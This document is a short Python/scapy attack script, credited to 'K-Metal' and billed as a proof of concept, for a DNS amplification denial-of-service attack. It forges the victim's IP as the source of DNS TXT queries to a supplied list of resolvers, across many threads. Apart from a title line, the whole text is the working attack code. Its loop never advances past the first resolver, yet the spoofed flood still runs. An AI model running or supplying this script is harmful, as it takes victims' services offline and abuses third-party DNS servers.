DNS Amplification Attack Script

#!/usr/bin/env python

######################
# DNS AMP dos attack #
#    by K-Metal      #
######################

from scapy.all import *
import threading, sys, random, time

#Proof of Concept

if len(sys.argv) < 2:   #Print Help
    print "Usage: "+sys.argv[0]+" <ip> <list> <threads>"
    sys.exit()

host = sys.argv[1] #Variables
File = sys.argv[2]
numthreads = int(sys.argv[3])
threads = []

with open(File) as f:   #Read list
    List = f.readlines()

Max = len(List) #Max length of the list

def flood():
    global host
    global List
    global Max
    print "Flooding..."
    while True:
        count = 0
        while count < Max:
            p=IP(dst=List[count],src=host)
            u=UDP(dport=53,sport=random.randint(1024,65535))/DNS(rd=1,qd=DNSQR(qname="goo.gl", qtype="TXT")) #DNS Query
            send(p/u,verbose=0)

for n in range(numthreads): #Multi-threading
    t = threading.Thread(target=flood)
    t.daemon = True
    t.start()
    threads.append(t)

while True:     #So CTRL+C kills all threads
    time.sleep(1)